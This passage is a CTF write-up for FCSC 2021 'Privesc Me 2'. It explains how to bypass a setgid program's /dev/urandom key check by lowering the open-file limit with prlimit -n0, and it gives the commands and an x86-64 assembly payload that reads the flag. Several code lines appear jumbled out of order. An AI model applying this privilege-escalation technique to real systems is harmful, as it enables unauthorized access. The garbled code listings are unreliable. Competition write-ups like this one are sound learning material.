FCSC 2021 Qualification - Prives Me 2 (misc)
FCSC 2021 Qualification - Privesc Me 2
2nd challenge of 4 series about some C program privilege escaladation. It was my only first blood for this CTF. The aim of this challenge was to guess value from /dev/urandom
which is not possible, and so led us to find a bypass.
Problem analysis
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define BUF_SIZE 128
int main(int argc, char const *argv[]) {
if(argc != 3){
("Usage : %s <key file> <binary to execute>", argv[0]);
printf}
(getegid(), getegid(), getegid());
setresgid
int fd;
unsigned char randomness[BUF_SIZE];
unsigned char your_randomness[BUF_SIZE];
(randomness, 0, BUF_SIZE);
memset(your_randomness, 0, BUF_SIZE);
memset
int fd_key = open(argv[1], O_RDONLY, 0400);
(fd_key, your_randomness, BUF_SIZE);
read
= open("/dev/urandom", O_RDONLY, 0400);
fd int nb_bytes = read(fd, randomness, BUF_SIZE);
for (int i = 0; i < nb_bytes; i++) {
[i] = (randomness[i] + 0x20) % 0x7F;
randomness}
for(int i = 0; i < BUF_SIZE; i++){
if(randomness[i] != your_randomness[i]) {
("Meh, you failed");
putsreturn EXIT_FAILURE;
}
}
(fd);
close("Ok, well done");
putschar* arg[2] = {argv[2], NULL};
(argv[2], arg, NULL);
execvereturn 0;
}
The code is quite small and easy to understand. It will execute the file given as 3rd argument if the data hold in the file given as 2nd argument match the data read from /dev/urandom
.
There is no memory vulnerability or other related pwn stuff, here everything is about logic and errors handling.
The isssue is here :
= open("/dev/urandom", O_RDONLY, 0400);
fd int nb_bytes = read(fd, randomness, BUF_SIZE);
for (int i = 0; i < nb_bytes; i++) {
[i] = (randomness[i] + 0x20) % 0x7F;
randomness}
What happen if /dev/urandom
can’t be open ? open
will return -1
an invalid file descriptor and so read
can’t read from it and will also return -1
. The for
loop won’t be executed and the randomness
buffer will still hold only null bytes.
But how the hell open
wouldn’t be able to open this file as its an absolute path and is always available ?
rlimit
Every process on Linux has it associated ressources limits. There is a default configuration used for every process and we can get these information with the ulimit -a
commands.
challenger@privescme:~$ ulimit -a
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 127887
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
As you can see by default a process can have a maximum of 1024 files opened at the same times ( and not open 1024 files until its death). We may modify these values thanks to the setrlimit
syscall.
Something I didn’t know while doing this task was the presence about
hard
andsoft
limits. Hard limits act as the ceiling for the soft limits and when decreased can’t be increased by a non privileged user / program. Soft can we increased at anytime after the modification.By default the
ulimit
program (which is a wrapper for the syscalls) set both hard and soft limits. This way you can’t change ulimit values after without being privileged.
So what happen if we set the open files
value to 0
?
challenger@privescme:~/stage1$ prlimit -n0 ./stage1
Usage : ./stage1 <key file> <binary to execute>Ok, well done
challenger@privescme:~/stage1$ prlimit -n0 ./stage1 a b
Ok, well done
It display Well done
meaning we have bypassed the check and reach the execve
call ! Let’s get a shell.
prlimit -n0 ./stage1 a /bin/sh
Ok, well done
/bin/sh: error while loading shared libraries: libc.so.6: cannot open shared object file: Error 24
Oh no, it can’t open the libc shared lib as the limit is too low. The reason -n0
work is that the binary is statically compiled and so doesn’t need to open shared libs, if it was dynamically linked we will have something like -n4
to allow the process to load its runtime libs.
However we can’t increase the allowed opened file for the libc as if we do the program will able first to read from /dev/urandom.
Building the right payload
My inital thought was to build a static binary as I didn’t know about hard/soft limits and the fact they could be increased posteriori. I have written a C program will only read the flag but it failed every time telling me It can’t open some libs, maybe I fucked up somewhere the fact is I didn’t success this way.
So I have written a asm program which will only closed the last opened fd (argv[1]) and displayed the flag.
; À compiler avec nasm -felf64 cat.asm && ld cat.o -o cat
60
%define SYS_EXIT 0
%define SYS_READ 1
%define SYS_WRITE 2
%define SYS_OPEN 3
%define SYS_CLOSE 1
%define STDOUT
2048
%define BUFFER_SIZE
section .text
global _start_start:
; Récupère le premier argument
sub rsp, 8
lea rsi, [rsp]
xor rdi, rdi
xor rdx, rdx
mov rdx, 8
mov rax, 0
syscall
# close the fdxor rax, rax
xor rdi, rdi
mov rdi, 3
mov rax, 3
syscall
sub rsp, 8
lea rsi, [rsp]
xor rdi, rdi
xor rdx, rdx
mov rdx, 8
mov rax, 0
syscall
xor rax, rax
push rax
mov rax, 0x007478742E67616C66
push rax
lea rdi, [rsp]
; Ouvre le fichier
mov rax, SYS_OPEN
mov rsi, 0
syscall
mov [fd], rax
sub rsp, 8
lea rsi, [rsp]
xor rdi, rdi
xor rdx, rdx
mov rdx, 8
mov rax, 0
syscall
_read_write:
; Lit le fichier dans un buffer
mov rax, SYS_READ
mov rdi, [fd]
mov rsi, file_buffer
mov rdx, BUFFER_SIZE
syscall
; Si on a atteint la fin du fichier, on quitte
cmp rax, 0
je _exit
; Affiche le contenu du buffer
mov rdx, rax
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rsi, file_buffer
syscall
jp _read_write
_exit:
; Ferme le fichier
mov rax, SYS_CLOSE
mov rdi, fd
syscall
; Ajoute un retour à la ligne
mov [file_buffer], dword 10
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rsi, file_buffer
mov rdx, 1
syscall
; Quitte
mov rax, 60
mov rdi, 0
syscall
section .data
dw 0
fd
section .bss
file_buffer resb BUFFER_SIZE
This payload is mostly c/c on internet I have only added the close functionnality, that’s all. Then I compiled it.
nasm -f elf64 payload.asm -o payload.o
ld -o payload payload.o
ARGV[1]
doesn’t matter at all it must just contains at least 128 null bytes.
There was a lot of different way to solve this, ret2school guys found a nice way too :